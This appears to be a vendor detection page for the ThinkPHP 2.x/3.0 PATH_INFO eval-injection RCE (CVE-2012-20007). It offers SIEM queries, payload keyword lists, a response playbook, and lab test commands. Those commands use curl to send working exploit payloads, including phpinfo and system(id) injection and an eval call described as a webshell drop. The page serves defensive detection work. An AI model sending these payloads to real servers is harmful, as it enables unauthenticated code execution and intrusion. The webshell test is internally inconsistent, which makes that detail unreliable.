Skip to content
CVE-2012-20007

ThinkPHP 2.x/3.0 Lite Dispatcher PATH_INFO eval Injection RCE (CVE-2012-20007)

Initial Access Execution Last updated:

Detects exploitation of the ThinkPHP 2.0-2.2 and 3.0 Lite-mode eval injection vulnerability in the Dispatcher's PATH_INFO parsing. The framework builds a module/action routing string from PATH_INFO and passes it to preg_replace() with the deprecated /e modifier, which evaluates the replacement as PHP code. By crafting a URL such as /index.php/module/action/param/${@phpinfo()} or using @eval() constructs, an unauthenticated attacker achieves arbitrary PHP code execution. This detection looks for the characteristic PATH_INFO payload patterns (${...}, @eval, @assert, phpinfo, system/exec/passthru, base64_decode) in web server access logs and WAF telemetry targeting index.php with extra path segments.

Based on VulnCheck Advisory: ThinkPHP 2.x/3.0 Lite Unauthenticated RCE via Dispatcher PATH_INFO

Vulnerability Intelligence

Theoretical

What is CVE-2012-20007 ThinkPHP 2.x/3.0 Lite Dispatcher PATH_INFO eval Injection RCE (CVE-2012-20007)?

ThinkPHP 2.x/3.0 Lite Dispatcher PATH_INFO eval Injection RCE (CVE-2012-20007) (CVE-2012-20007) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for ThinkPHP 2.x/3.0 Lite Dispatcher PATH_INFO eval Injection RCE (CVE-2012-20007), covering the data sources and telemetry it touches: IIS Web Server Logs, W3C Web Access Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Execution
Microsoft Sentinel / Defender
kusto
// df00tech DF00-080adae336 · https://df00tech.com/detections/CVE-2012-20007 · licence: https://df00tech.com/detections/licence
let payloadPatterns = dynamic(["${", "@eval", "@assert", "phpinfo", "base64_decode", "system(", "passthru", "shell_exec", "call_user_func"]);
let suspectPaths = W3CIISLog
| where TimeGenerated > ago(24h)
| extend FullUri = strcat(csUriStem, iff(isempty(csUriQuery), "", strcat("?", csUriQuery)))
| where csUriStem has "index.php" or csUriStem has_cs "index.php/"
| where FullUri has_any (payloadPatterns)
| where FullUri matches regex @"(?i)index\.php/.+/.+";
suspectPaths
| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, FullUri, scStatus, csUserAgent, sSiteName
| sort by TimeGenerated desc

Searches IIS/W3C web access logs for requests to index.php with ThinkPHP-style PATH_INFO segments containing PHP eval-injection payload markers.

critical severity medium confidence

Data Sources

IIS Web Server Logs W3C Web Access Logs

Required Tables

W3CIISLog

False Positives

  • Legitimate ThinkPHP applications that use ${} syntax in query values for non-malicious parameters
  • Security scanners and authorized penetration testing tools probing the application
  • URL-encoded shopping cart or template parameters that coincidentally contain ${ sequences

Query fingerprint DF00-080adae336 · licence

Sigma logsource & community rules

The detection logic for ThinkPHP 2.x/3.0 Lite Dispatcher PATH_INFO eval Injection RCE (CVE-2012-20007) (CVE-2012-20007) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 ThinkPHP PATH_INFO phpinfo eval probe

    Expected signal: Web access log entry for index.php with PATH_INFO containing ${@phpinfo()} and (if vulnerable) a large HTTP 200 response.

  2. Test 2 ThinkPHP eval injection command execution

    Expected signal: Access log entry with system( payload in PATH_INFO; on a vulnerable host, php-fpm spawns a child shell running id.

  3. Test 3 ThinkPHP base64-encoded webshell drop

    Expected signal: Access log entry containing @eval and base64_decode markers; creation of a new .php file in the web root.


Response Playbook

Triage

  1. Extract the full request URL from the alert and decode any URL/double-URL encoding to reveal the actual PATH_INFO payload (e.g. ${@phpinfo()}, @eval(...), base64_decode(...)). Confirm the segment follows index.php and uses /e-modifier-triggering syntax.
  2. Identify the target host and confirm whether it runs ThinkPHP 2.0-2.2 or 3.0 in Lite mode (check for /ThinkPHP/ directory, Lib/Think/Core/Dispatcher.class.php, or the X-Powered-By / response fingerprints).
  3. Review the HTTP response status and size for the suspect request. A 200 with reflected phpinfo output or command results indicates successful code execution, not just a probe.
  4. Pivot on the source IP to enumerate all other requests in the window, distinguishing a single opportunistic scan from a sustained exploitation sequence (payload probing followed by webshell drop).

Containment

  1. Block the attacking source IP(s) at the WAF/edge and, if exploitation succeeded, isolate the affected web host from the network to prevent lateral movement.
  2. Deploy a virtual patch / WAF rule rejecting index.php requests whose PATH_INFO contains ${, @eval, @assert, or base64_decode, and upgrade ThinkPHP to a non-vulnerable release that removes the preg_replace /e usage.

Evidence Collection

  1. Preserve the complete web server access and error logs covering the exploitation window, plus any PHP-FPM / php error logs showing eval() execution.
  2. Capture a forensic copy of the web root to identify any dropped webshells or modified PHP files, and snapshot running processes and network connections on the host.

Escalation Criteria

  • ! Escalate to incident response immediately if the response indicates executed code (reflected phpinfo, command output) or if new/modified PHP files appear in the web root after the request.
  • ! Escalate if the same source or payload family targets multiple internet-facing hosts, indicating a coordinated campaign rather than an isolated scan.

Investigation Guide

Forensic Artifacts

  • > Web server access logs containing index.php PATH_INFO payloads with ${}/@eval markers
  • > PHP/PHP-FPM error logs showing eval()'d code or preg_replace deprecation notices
  • > Newly created or modified .php files in the ThinkPHP web root (potential webshells)
  • > Unexpected child processes (sh, bash, whoami, curl, wget) spawned by the php/php-fpm/httpd user

Tuning Guidance

If the organisation runs legitimate ThinkPHP apps that use ${} in path parameters, baseline those routes and exclude them by exact path prefix rather than removing the ${ pattern entirely. Tighten confidence to high when the request also returns HTTP 200 with an abnormally large response or when the source IP has no prior history. Consider splitting probe detection (phpinfo, ${@print()}) from weaponisation detection (base64_decode, system/exec/passthru) into separate severities.


Hunting Queries

Hunts for any index.php requests carrying ThinkPHP eval-injection payload markers across the environment, grouped by source and path.

Hunting — KQL
kql
// df00tech DF00-080adae336 · https://df00tech.com/detections/CVE-2012-20007 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "index.php" | where (strcat(csUriStem, csUriQuery)) matches regex @"(?i)(\$\{|@eval|@assert|phpinfo|base64_decode)" | summarize count() by cIP, csUriStem | sort by count_ desc
Hunting — SPL
spl
``` df00tech DF00-080adae336 · https://df00tech.com/detections/CVE-2012-20007 · licence: https://df00tech.com/detections/licence ```
index=web sourcetype=access_combined uri_path="*index.php*" | regex _raw="(?i)(\$\{|@eval|@assert|phpinfo|base64_decode)" | stats count by clientip, uri_path | sort - count

Atomic Red Team Tests

Test 1 ThinkPHP PATH_INFO phpinfo eval probe
linux

Sends the canonical ThinkPHP 2.x RCE probe that triggers phpinfo() via the /e-modifier eval injection in PATH_INFO.

Command

bash
curl -sk 'http://target.lab/index.php/module/action/param/${@phpinfo()}' -o /tmp/thinkphp_probe.out

Cleanup

bash
rm -f /tmp/thinkphp_probe.out

Expected Telemetry

Web access log entry for index.php with PATH_INFO containing ${@phpinfo()} and (if vulnerable) a large HTTP 200 response.

Expected Detection

All seven SIEM queries match on the ${ and phpinfo payload markers in the index.php PATH_INFO.

Test 2 ThinkPHP eval injection command execution
linux

Attempts OS command execution through the eval injection using a system() call embedded in PATH_INFO.

Command

bash
curl -sk 'http://target.lab/index.php/module/action/x/${@system(id)}'

Cleanup

bash
echo 'no local artifacts to clean'

Expected Telemetry

Access log entry with system( payload in PATH_INFO; on a vulnerable host, php-fpm spawns a child shell running id.

Expected Detection

Queries match on system( and ${ markers; EDR hunting query surfaces the php-fpm child process.

Test 3 ThinkPHP base64-encoded webshell drop
linux

Uses the eval injection with base64_decode to write a minimal PHP webshell into the web root (lab-only).

Command

bash
curl -sk 'http://target.lab/index.php/module/action/x/${@eval(base64_decode(PGF9cGhwIGV2YWwoJF9HRVRbMF0pOz8+))}'

Cleanup

bash
ssh target.lab 'rm -f /var/www/html/shell.php' 2>/dev/null || true

Expected Telemetry

Access log entry containing @eval and base64_decode markers; creation of a new .php file in the web root.

Expected Detection

Queries match on @eval and base64_decode markers; forensic artifact hunt flags the new web-root PHP file.

Related Detections

Browse by tactic

Full ATT&CK matrix Search all detections